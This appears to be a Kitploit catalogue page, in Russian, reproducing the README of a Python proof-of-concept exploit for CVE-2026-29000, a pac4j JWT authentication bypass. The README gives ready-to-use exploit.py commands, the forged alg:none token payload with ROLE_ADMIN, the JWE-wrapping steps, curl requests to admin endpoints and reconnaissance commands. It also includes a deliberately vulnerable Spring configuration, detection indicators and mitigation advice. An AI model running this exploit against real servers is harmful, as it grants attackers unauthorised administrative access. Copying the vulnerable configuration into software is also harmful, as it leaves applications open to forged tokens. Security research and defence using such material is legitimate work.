Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-29000 — Python POC, эксплойт для CVE-2026-29000 | Kitploit
Инструменты/GitHubGitHub/c0gnit00/cve-2026-29000
Аутентификация и авторизацияГенерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийКриптографияТестирование на ПроникновениеОбучение и Образование
GitHubc0gnit00/cve-2026-29000

CVE-2026-29000

Python POC, эксплойт для CVE-2026-29000

Репозиторий
12 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-29000: PoC обхода аутентификации JWT pac4j

Подтверждение концепции для CVE-2026-29000 — критическая уязвимость обхода аутентификации в реализации JWT pac4j, позволяющая злоумышленникам создавать поддельные административные токены без действительной подписи.


⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ

Данный инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Автор НЕ несёт ответственности за любое неправомерное использование, ущерб или незаконное применение этого эксплойта.

  • Несанкционированный доступ к компьютерным системам НЕЗАКОНЕН в большинстве юрисдикций
  • Перед тестированием пользователи должны получить явное письменное разрешение
  • Автор НЕ несёт ответственности за любые последствия, возникающие в результате неправомерного использования этого инструмента
  • Это инструмент для исследований в области безопасности и обучения — используйте этично и законно

📋 Обзор уязвимости

Эта уязвимость эксплуатирует недостаток в механизме JWT-аутентификации pac4j, при котором библиотека:

  1. Принимает неподписанные токены с alg: "none" в заголовке JWT
  2. Доверяет токенам, обёрнутым в JWE, без надлежащей проверки подписи внутреннего JWT
  3. Позволяет повышать привилегии через пользовательские утверждения (claims) в неподписанной полезной нагрузке

Злоумышленник может создать неподписанный JWT с произвольными утверждениями (например, role: "ROLE_ADMIN"), зашифровать его в контейнер JWE с использованием открытого ключа сервера и получить несанкционированный доступ к административным функциям.


🎯 Предварительные условия для успешной эксплуатации

Требования на стороне сервера

Чтобы эксплойт сработал, целевой сервер должен удовлетворять ВСЕМ следующим условиям:

1. Доступная конечная точка JWKS

Сервер должен предоставлять свои открытые ключи через одну из этих конечных точек:

  • /.well-known/jwks.json (стандартная конечная точка OAuth/OIDC)
  • /api/auth/jwks (пользовательская конечная точка)

Почему: Эксплойт автоматически загружает открытый ключ сервера для шифрования поддельного JWE-токена.

2. Принятие утверждения ROLE в JWT

Сервер должен:

  • Принимать и обрабатывать утверждение role в полезной нагрузке JWT
  • Иметь как минимум один уровень привилегий, предоставляющий расширенный доступ (например, ROLE_ADMIN)
  • Не проверять подпись JWT или допускать неподписанные токены

Распространённые роли:

  • ROLE_ADMIN — полный административный доступ
  • ROLE_USER — стандартный доступ пользователя
  • Пользовательские роли в зависимости от приложения

3. Обработка JWE-токенов

Сервер должен:

  • Принимать JWE (зашифрованные) токены в качестве действительной аутентификации
  • Расшифровывать и обрабатывать внутренний неподписанный JWT
  • Не проверять подпись внутреннего JWT и не проверять алгоритм

4. Уязвимая конфигурация pac4j

Приложение должно использовать pac4j с:

  • Алгоритмом "none" или неадекватной проверкой алгоритма
  • Включённым шифрованием JWE, но отключённой проверкой подписи внутреннего JWT
  • Отсутствием дополнительной проверки токена, кроме расшифровки JWE

🛠️ Установка

Требования

  • Python 3.7+
  • Необходимые пакеты: requests, jwcrypto

Настройка

root@kitploit:~
# Clone the repository
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000

# Install dependencies
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
jwcrypto>=1.4.0

🚀 Использование

Базовое использование

root@kitploit:~
python3 exploit.py <TARGET_URL>

Пример:

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080

Скрипт будет:

  1. Пытаться получить JWKS со стандартных конечных точек
  2. Создавать неподписанный JWT с role: "ROLE_ADMIN"
  3. Шифровать его с помощью открытого ключа сервера
  4. Выводить JWE-токен, готовый к аутентификации

Дополнительные параметры

Пользовательское имя пользователя

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 --username john

Пользовательская роль

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR

Указать JWKS вручную

Если конечная точка JWKS недоступна публично, укажите JWK вручную:

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 \
  --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'

Полный пример со всеми параметрами

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 \
  --username hacker \
  --role ROLE_ADMIN \
  --jwk '{"keys":[{...}]}'

📤 Использование сгенерированного токена

Эксплойт выводит JWE-токен в следующем формате:

root@kitploit:~
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...

Выполнение аутентифицированных запросов

Используйте токен в HTTP-запросах для доступа к защищённым конечным точкам:

root@kitploit:~
# Using curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
  http://vulnerable-app.local:8080/api/admin/dashboard

# Using Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)

Пример запроса с заголовком Authorization

root@kitploit:~
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
  http://vulnerable-app.local:8080/api/users/list

🔍 Как работает эксплойт

Шаг 1: Создание неподписанного JWT

root@kitploit:~
header = {"alg": "none", "type": "JWT"}
payload = {
    "sub": "admin",              # Username
    "role": "ROLE_ADMIN",        # Privilege level
    "iss": "principal-platform", # Issuer
    "iat": 1234567890,          # Issued at
    "exp": 1234571490           # Expiration (1 hour)
}

JWT создаётся без подписи (alg: "none"), что обычно недействительно, но принимается уязвимыми серверами.

Шаг 2: Получение JWKS сервера

Эксплойт запрашивает:

  1. /.well-known/jwks.json (стандарт OAuth/OIDC)
  2. /api/auth/jwks (пользовательская конечная точка)

Это позволяет получить открытый RSA-ключ сервера, необходимый для шифрования.

Шаг 3: Шифрование JWT как JWE

Неподписанный JWT шифруется с использованием:

  • Алгоритм: RSA-OAEP-256 (асимметричное шифрование)
  • Шифрование: A128GCM (аутентифицированное шифрование)
  • Ключ: Открытый ключ сервера (предотвращает подделку)

Это создаёт JWE-токен, который сервер может расшифровать, но не будет проверять внутреннюю подпись.

Шаг 4: Использование токена

JWE-токен включается в заголовок Authorization:

root@kitploit:~
Authorization: Bearer <JWE_TOKEN>

Уязвимый сервер расшифровывает его и извлекает неподписанный JWT, доверяя утверждениям без проверки подписи.


🔐 Цепочка уязвимости

root@kitploit:~
Unsigned JWT (alg:none)
         ↓
  Wraps in JWE (with server's public key)
         ↓
  Server receives JWE token
         ↓
  Server decrypts JWE
         ↓
  Extracts inner unsigned JWT
         ↓
  ❌ Server does NOT verify signature
         ↓
  ✅ Accepts claims as valid (role: ROLE_ADMIN)
         ↓
  Attacker has admin access!

⚠️ Обнаружение и индикаторы

Серверные индикаторы уязвимости

  1. Доступность конечной точки JWKS

    • Проверьте, доступны ли /.well-known/jwks.json или /api/auth/jwks публично
  2. Журналы проверки JWT

    • Ищите в журналах записи о принятии токенов с alg: "none"
    • Предупреждения о принятии неподписанных токенов
  3. Просмотр конфигурации

    • Проверьте, отключена ли проверка подписи в pac4j
    • Проверьте настройки расшифровки JWE

Сетевые индикаторы

root@kitploit:~
# Reconnaissance
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .

# Check if JWE tokens are accepted
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected

🛡️ Смягчение и устранение уязвимости

Для разработчиков, использующих pac4j

  1. Принудительная проверка подписи

    root@kitploit:~
    // BAD - Accepts unsigned tokens
    JwtAuthenticator jwt = new JwtAuthenticator();
    jwt.setAlgorithm(null); // ❌ Vulnerable
    
    // GOOD - Requires valid signature
    JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
    jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Secure
    
  2. Проверяйте алгоритм JWT

    • Никогда не принимайте alg: "none"
    • Внесите допустимые алгоритмы в белый список (например, RS256, HS256)
    • Отклоняйте токены с несовпадающими алгоритмами
  3. Отключите JWE, если он не нужен

    • Если для аутентификации требуется только JWT, отключите обёртку JWE
    • Если JWE необходим, проверяйте подпись внутреннего JWT независимо
  4. Обновите pac4j

    • Применяйте исправления безопасности
    • Обновитесь до версии, в которой проверка подписи включена по умолчанию
  5. Добавьте уровни проверки токена

    • Проверяйте срок действия токена (утверждение exp)
    • Проверяйте эмитента (утверждение iss)
    • Сверяйте роли с доверенной базой данных

Для системных администраторов

  1. Ограничьте доступ к конечной точке JWKS

    root@kitploit:~
    location /.well-known/jwks.json {
        allow 10.0.0.0/8;  # Internal networks only
        deny all;
    }
    
  2. Мониторьте журналы аутентификации

    • Срабатывание оповещений на токены с alg: "none"
    • Помечайте назначения роли администратора из неожиданных источников
  3. Сегментация сети

    • Изолируйте серверы аутентификации
    • Ограничьте конечную точку JWKS авторизованными клиентами
  4. Регулярные аудиты безопасности

    • Пересматривайте конфигурации pac4j
    • Проводите пентест механизмов аутентификации

📊 Тестовая среда

Пример уязвимой настройки

root@kitploit:~
@Configuration
public class SecurityConfig {
    
    @Bean
    public JwtAuthenticator jwtAuthenticator() {
        JwtAuthenticator authenticator = new JwtAuthenticator();
        // ❌ VULNERABLE: No signature verification
        authenticator.setAlgorithmsAllowedForSigning(null);
        authenticator.setJwtClaimsValidation(false);
        return authenticator;
    }
    
    @Bean
    public JWEEncrypter encrypter() {
        // Accepts JWE but doesn't verify inner JWT
        return new JWEEncrypter();
    }
}

📚 Ссылки

  • ID CVE: CVE-2026-29000
  • Затронутая библиотека: pac4j (модуль JWT)
  • Вектор атаки: Обход аутентификации через неподписанный JWT + шифрование JWE
  • Оценка CVSS: 9.8 (критическая)

Связанные ресурсы

  • репозиторий pac4j на GitHub
  • Рекомендации по JWT
  • Шпаргалка OWASP по JWT

⚖️ Правовое уведомление

Этот эксплойт предоставляется только для образовательных целей и авторизованного тестирования безопасности.

Несанкционированный доступ к компьютерным системам является незаконным. Этот инструмент следует использовать только:

  • Системах, которыми вы владеете
  • Системах, на которые есть явное письменное разрешение
  • Авторизованных мероприятиях по тестированию на проникновение

Авторы не несут ответственности за неправомерное использование или ущерб, причинённый этим инструментом.


📝 Лицензия

Лицензия MIT — подробности см. в файле LICENSE


👥 Вклад в проект

Нашли ошибку? Есть предложения по улучшению?

  1. Сделайте форк репозитория
  2. Создайте ветку функции (git checkout -b feature/improvement)
  3. Зафиксируйте изменения (git commit -m 'Add improvement')
  4. Отправьте ветку (git push origin feature/improvement)
  5. Откройте Pull Request

📞 Поддержка

По вопросам, проблемам или предложениям:

  • Откройте issue на GitHub
  • Укажите целевую версию pac4j
  • Прикрепите соответствующие журналы и конфигурации

Последнее обновление: май 2026
Автор: Группа исследования безопасности
Статус: Образовательный PoC

Скачать инструмент